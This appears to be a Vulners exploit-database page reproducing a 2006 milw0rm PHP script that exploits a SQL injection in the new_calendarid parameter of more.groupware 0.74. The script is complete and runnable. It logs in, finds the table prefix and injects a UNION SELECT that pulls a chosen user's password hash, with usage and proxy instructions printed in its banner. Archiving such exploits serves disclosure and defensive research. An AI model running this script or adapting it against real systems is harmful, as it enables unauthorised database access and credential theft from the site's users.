Lucene search
K

more.groupware <= 0.74 (new_calendarid) Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

more.groupware <= 0.74 Remote SQL Injection Exploi

Code

                                                &#60;?
error_reporting(E_ERROR);

function exploit_init()
{
    if (!extension_loaded(&#39;php_curl&#39;) && !extension_loaded(&#39;curl&#39;))
    {
       if (!dl(&#39;curl.so&#39;) && !dl(&#39;php_curl.dll&#39;))
       die (&#34;oo error - cannot load curl extension!&#34;);
    }
}

function exploit_header()
{
    echo &#34;\noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo&#34;;
    echo &#34;                                  oo    ooooooo     ooooooo\n&#34;;
    echo &#34;                    oooo   oooo o888  o88     888 o888   888o\n&#34;;
    echo &#34;                      888o888    888        o888   888888888\n&#34;;
    echo &#34;                      o88888o    888     o888   o 888o   o888\n&#34;;
    echo &#34;                    o88o   o88o o888o o8888oooo88   88ooo88\n&#34;;
    echo &#34;ooooooooooooooooooo more.groupware 0.7.4 remote sql injection oooooooooooooooooo\n&#34;;
    echo &#34;oo usage          $ php mg-074-exploit.php [url] [user] [pwd] [id]\n&#34;;
    echo &#34;oo proxy support  $ php mg-074-exploit.php [url] [user] [pwd] [id]\n&#34;;
    echo &#34;                  [proxy]:[port]\n&#34;;
    echo &#34;oo example        $ php mg-074-exploit.php http://localhost x128 pwd 1\n&#34;;
    echo &#34;oo you need an account on the system\n&#34;;
    echo &#34;oo print the password of the user\n\n&#34;;
}

function exploit_bottom()
{
    echo &#34;\noo message  : sanja - es tut mir sehr leid, was ich zu dir gesagt habe. ich war\n&#34;;
    echo &#34;              nicht ich selbst. ich hoffe, dass du diesen exploit als wiedergut-&#34;;
    echo &#34;              machung verstehst. ich haette dich zwar lieber zum eisessen\n&#34;; 
    echo &#34;              eingeladen, aber ich traue mich nicht mehr dich zu fragen ;).\n&#34;;
    echo &#34;oo discover : x128 - alexander wilhelm - 17/09/2006\n&#34;;
    echo &#34;oo contact  : exploit &#60;at&#62; x128.net                    oo website : www.x128.net\n&#34;;
}

function exploit_execute()
{
    $connection = curl_init();

    if ($_SERVER[&#39;argv&#39;][5])
    {
        curl_setopt($connection, CURLOPT_TIMEOUT, 8);
        curl_setopt($connection, CURLOPT_PROXY, $_SERVER[&#39;argv&#39;][5]);
    }
    curl_setopt ($connection, CURLOPT_USERAGENT, &#39;x128&#39;);
    curl_setopt ($connection, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($connection, CURLOPT_HEADER, 0);
    curl_setopt ($connection, CURLOPT_POST, 1);
    curl_setopt ($connection, CURLOPT_COOKIE, 1);
    curl_setopt ($connection, CURLOPT_COOKIEJAR, &#39;exp-cookie.txt&#39;);
    curl_setopt ($connection, CURLOPT_COOKIEFILE, &#39;exp-cookie.txt&#39;);
    curl_setopt ($connection, CURLOPT_URL, $_SERVER[&#39;argv&#39;][1] . &#34;/index.php&#34;);
    curl_setopt ($connection, CURLOPT_POSTFIELDS, &#34;login=&#34; . $_SERVER[&#39;argv&#39;][2] . &#34;&password=&#34; . $_SERVER[&#39;argv&#39;][3] . &#34;&checkip=0&#34;);
    $source = curl_exec($connection) or die(&#34;oo error - cannot connect!\n&#34;);

    curl_setopt ($connection, CURLOPT_POST, 1);
    curl_setopt ($connection, CURLOPT_POSTFIELDS, &#34;new_calendarid=x128&#34;);
    curl_setopt ($connection, CURLOPT_URL, $_SERVER[&#39;argv&#39;][1] . &#34;/modules/calendar/week.php?&#34;);
    $source = curl_exec($connection) or die(&#34;oo error - cannot connect!\n&#34;);

    preg_match(&#34;/([0-9a-zA-Z_]*)users/&#34;, $source, $prefix);

    curl_setopt ($connection, CURLOPT_POST, 1);
    curl_setopt ($connection, CURLOPT_POSTFIELDS, &#34;new_calendarid=&#34; .urlencode(&#34;0 UNION SELECT id,pw FROM &#34; . $prefix[1] . &#34;users WHERE id = &#34; . $_SERVER[&#39;argv&#39;][4]));
    curl_setopt ($connection, CURLOPT_URL, $_SERVER[&#39;argv&#39;][1] . &#34;/modules/calendar/week.php&#34;);
    $source = curl_exec($connection) or die(&#34;oo error - cannot connect!\n&#34;);

    preg_match(&#34;/&#62;([0-9a-f]{32})&#60;/&#34;, $source, $password);

    if ($password[1])
    {
        echo &#34;oo password       &#34; . $password[1] . &#34;\n\n&#34;;
        echo &#34;oo dafaced ...\n&#34;;
    }

    curl_close ($connection);
}

exploit_init();
exploit_header();
exploit_execute();
exploit_bottom();
?&#62;

# milw0rm.com [2006-09-19]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
16